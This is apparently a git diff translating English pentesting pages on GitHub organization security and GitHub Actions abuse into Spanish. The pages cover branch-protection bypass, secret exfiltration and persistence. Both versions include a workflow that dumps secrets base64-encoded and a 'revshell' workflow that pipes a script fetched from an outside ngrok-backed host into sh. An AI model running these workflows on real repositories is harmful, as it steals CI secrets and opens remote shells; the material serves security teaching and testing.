disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Permisos base**: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda **Ninguno** o **Leer**. +- **Forking de repositorios**: Si no es necesario, es mejor **no permitir** que los miembros hagan forks de los repositorios de la organización. +- **Creación de páginas**: Si no es necesario, es mejor **no permitir** que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas. +- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo. +- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ +- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos de **administrador** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que la gente haga cosas **públicas**, asegúrate de que esto esté **deshabilitado**. +- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ +- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos de **administrador** para el repositorio podrán **eliminar** o **transferir** **repositorios** públicos y privados. +- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ +- **Permitir a los miembros crear equipos**: Si está habilitado, cualquier **miembro** de la organización podrá **crear** nuevos **equipos**. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado. +- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_ +- **Se pueden configurar más cosas** en esta página, pero las anteriores son las más relacionadas con la seguridad. -### Actions Settings +### Configuración de Acciones -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +Varios ajustes relacionados con la seguridad se pueden configurar para acciones desde la página `https://github.com/organizations//settings/actions`. > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente. -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Políticas de acciones de Github**: Permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten. +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Flujos de trabajo de solicitudes de extracción de forks de colaboradores externos**: Se recomienda **requerir aprobación para todos** los colaboradores externos. +- _No pude encontrar una API con esta información, comparte si lo haces_ +- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **altamente desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente. +- _No pude encontrar una API con esta información, comparte si lo haces_ +- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura de repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución. +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) -### Integrations +### Integraciones -_Let me know if you know the API endpoint to access this info!_ +_Házmelo saber si conoces el endpoint de la API para acceder a esta información!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Política de acceso a aplicaciones de terceros**: Se recomienda restringir el acceso a cada aplicación y permitir solo las necesarias (después de revisarlas). +- **Aplicaciones de GitHub instaladas**: Se recomienda permitir solo las necesarias (después de revisarlas). -## Recon & Attacks abusing credentials +## Reconocimiento y Ataques abusando de credenciales -For this scenario we are going to suppose that you have obtained some access to a github account. +Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github. -### With User Credentials +### Con Credenciales de Usuario -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +Si de alguna manera ya tienes credenciales para un usuario dentro de una organización, puedes **simplemente iniciar sesión** y verificar qué **roles de empresa y organización tienes**, si eres un miembro normal, verifica qué **permisos tienen los miembros normales**, en qué **grupos** estás, qué **permisos tienes** sobre qué **repositorios** y **cómo están protegidos los repositorios**. -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Ten en cuenta que **se puede usar 2FA**, por lo que solo podrás acceder a esta información si también puedes **pasar esa verificación**. > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Ten en cuenta que si **logras robar la cookie `user_session`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA. -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +Consulta la sección a continuación sobre [**elusión de protecciones de ramas**](./#branch-protection-bypass) en caso de que sea útil. -### With User SSH Key +### Con Clave SSH de Usuario -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Github permite a los **usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA). +Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de github para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repositorios y el usuario al que tienes acceso: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Si el usuario ha configurado su nombre de usuario como su nombre de usuario de github, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada. -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +Las **claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Usualmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Claves GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Como se explicó [**aquí**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), a veces es necesario firmar los commits o podrías ser descubierto. +Verifica localmente si el usuario actual tiene alguna clave con: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Con Token de Usuario -### With User Token +Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-github-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git a través de HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios adjuntos a él, podrías ser capaz de realizar diferentes acciones. -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### Con Aplicación Oauth -### With Oauth Application +Para una introducción sobre [**Aplicaciones Oauth de Github consulta la información básica**](basic-github-information.md#oauth-applications). -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Estos son los [alcances que una aplicación Oauth puede solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Siempre se debe verificar los alcances solicitados antes de aceptarlos. -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### Con Aplicación de Github -### With Github Application +Para una introducción sobre [**Aplicaciones de Github consulta la información básica**](basic-github-information.md#github-applications). -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing. -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Compromiso y Abuso de Github Action -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Hay varias técnicas para comprometer y abusar de un Github Action, consúltalas aquí: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## Bypass de Protección de Ramas -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías simplemente aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un **entorno de Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías ser capaz de **aprobar tu PR** y obtener 1 aprobación de esta manera. +- _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PRs, pero si puedes, puedes abusar de ello para aceptar tus PRs._ +- **Desestimar aprobaciones cuando se envían nuevos commits**: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida. +- **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que un **Github Action cree tu PR y luego lo apruebes tú mismo**. +- Cuando un **archivo CODEOWNER está mal configurado**, Github no se queja pero no lo utiliza. Por lo tanto, si está mal configurado, **la protección de Propietarios de Código no se aplica.** +- **Permitir que actores especificados eviten los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción. +- **Incluir administradores**: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama. +- **Secuestro de PR**: Podrías ser capaz de **modificar el PR de otra persona** añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo. +- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y volver a establecer las protecciones. +- **Eludir protecciones de push**: Si un repositorio **solo permite ciertos usuarios** enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín `*`). +- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer push de código a la rama **ejecutará el github action**. -## Bypass Environments Protections +## Bypass de Protecciones de Entornos -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +Para una introducción sobre [**Entorno de Github consulta la información básica**](basic-github-information.md#git-environments). -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando un nuevo github action (o modificando uno). +Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el trigger de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**. ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +Nota que **después de la creación** de la rama, la **protección de la rama se aplicará a la nueva rama** y no podrás modificarla, pero para ese momento ya habrás extraído los secretos. -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## Persistencia -## Persistence +- Generar **token de usuario** +- Robar **tokens de github** de **secretos** +- **Eliminación** de **resultados** y **ramas** de flujo de trabajo +- Dar **más permisos a toda la organización** +- Crear **webhooks** para exfiltrar información +- Invitar a **colaboradores externos** +- **Eliminar** **webhooks** utilizados por el **SIEM** +- Crear/modificar **Github Action** con una **puerta trasera** +- Encontrar **Github Action vulnerable a inyección de comandos** mediante la modificación del valor de **secreto** -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### Commits de impostor - Puerta trasera a través de commits de repositorio -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un **commit** id dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**. +Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +Para más información, consulta [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..55abfd232 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,389 +4,371 @@ ## Basic Information -In this page you will find: +En esta página encontrarás: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action +- Diferentes formas de **obtener acceso a una acción**: +- Tener **permisos** para crear la acción +- Abusar de los **triggers** relacionados con **pull requests** +- Abusar de **otras técnicas de acceso externo** +- **Pivotar** desde un repositorio ya comprometido +- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados) ## Impacts Summary -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions). -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías ser capaz de: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- **Robar secretos** montados en la pipeline y **abusar de los privilegios de la pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP. +- **Comprometer despliegues** y otros **artefactos**. +- Si la pipeline despliega o almacena activos, podrías alterar el producto final, habilitando un ataque a la cadena de suministro. +- **Ejecutar código en trabajadores personalizados** para abusar del poder computacional y pivotar a otros sistemas. +- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Este "**secreto**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el administrador habilita esta opción:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Este token es el mismo que una **Aplicación de Github utilizará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github debería liberar un [**flujo**](https://github.com/github/roadmap/issues/74) que **permita el acceso entre repositorios** dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Ten en cuenta que el token **expira después de que el trabajo ha finalizado**.\ +Estos tokens lucen así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Algunas cosas interesantes que puedes hacer con este token: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="Aprobar PR" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="Crear PR" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización.
-List secrets in Github Action output - +Listar secretos en la salida de Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Obtener shell inverso con secretos ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +Es posible verificar los permisos otorgados a un Github Token en los repositorios de otros usuarios **revisando los registros** de las acciones:
-## Allowed Execution +## Ejecución Permitida > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**. > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](./#post-exploitation-techniques-from-inside-an-action). -### Execution from Repo Creation +### Ejecución desde la Creación de un Repositorio -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**. -### Execution from a New Branch +### Ejecución desde una Nueva Rama -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman). +Puedes hacer que la acción modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- -## Forked Execution +## Ejecución Forked > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> Hay diferentes desencadenadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones desencadenables están mal configuradas, un atacante podría comprometerlas. ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +El desencadenador del flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
